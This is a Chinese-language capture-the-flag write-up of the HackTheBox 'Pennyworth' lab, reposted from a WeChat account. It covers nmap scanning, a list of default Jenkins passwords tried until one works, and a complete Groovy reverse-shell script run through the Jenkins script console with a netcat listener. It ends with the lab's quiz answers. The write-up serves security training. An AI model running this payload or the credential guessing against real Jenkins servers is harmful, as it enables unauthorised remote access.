初始点1级第九关Pennyworth
获取目标机IP。
nmap扫描目标开放端口。
nmap -sC -sV {target_IP}
-sC:脚本扫描
-sV:版本检测
8080端口开放,http服务器上运行jetty服务。
浏览器访问8080端口。
jenkins是一个持续集成的工具,尝试默认账号密码登录,如下:
admin:password
admin:admin
root:root
root:password
admin:admin1
admin:password1
root:password1
root/password登录成功,而且在页面的右下角发现jenkins版本。
可以到网上查找jenkins当前版本有没有已知CVE或者其他攻击方法,搜索jenkins漏洞时发现一篇Jenkins功能未授权访问导致的远程命令执行漏洞的文章。
登陆后,进入系统管理。
下滑发现有一个脚本命令行的功能。
利用该功能可以执行系统命令,该功能是jenkins很正常的一个功能,可是一些管理账户采用弱口令,管理后台存在未授权访问,导致该功能被利用。
该功能只执行groovy命令,我们可以编写和运行groovy脚本,尝试在脚本命令行功能中插入反弹shell脚本。
脚本如下:
String host="{your_IP}";
int port=8000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
主机IP可以用ifconfig命令查看。
执行以下命令,攻击机监听8000端口。
nc -lvnp 8000
-l:监听模式
-v:详细模式
-n:直接使用IP地址,而不通过域名服务器。
-p:指定端口
jenkins脚本命令行功能中插入我们编写的groovy脚本,run。
脚本运行后,返回我们端口监听。
反弹shell,在/root目录发现flag.txt。
Pennyworth任务
任务1
问:缩写 CVE 代表什么?
答:Common Vulnerabilities and Exposures
任务2
问:CIA 中的三个字母,指的是 CIA 在网络安全方面的三合会,代表什么?
答:confidentiality, integrity, availability
任务3
问:8080 端口上运行的服务版本是什么?
答:Jetty 9.4.39.v20210325
任务4
问:目标上运行的 Jenkins 版本是什么?
答:2.289.1
任务5
问:Jenkins 脚本控制台接受什么类型的脚本作为输入?
答:Groovy
任务6
问:如果目标 VM 运行 Windows,Groovy 脚本片段中的“String cmd”变量等于什么?
答:cmd.exe
任务7
问:我们可以使用什么命令来显示 Linux 上的网络接口信息,而不是“ip a”?
答:ifconfig
任务8
问:我们应该对 netcat 使用什么开关才能使用 UDP 传输模式?
答:-u
任务9
问:用于描述使目标主机发起与攻击者主机的连接的术语是什么?
答:reverse shell
任务10
提交flag。
总结
当事情不景气时,继续前进、坚持不懈是至关重要的。
原文始发于微信公众号(AlertSec):HackTheBox-Pennyworth
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论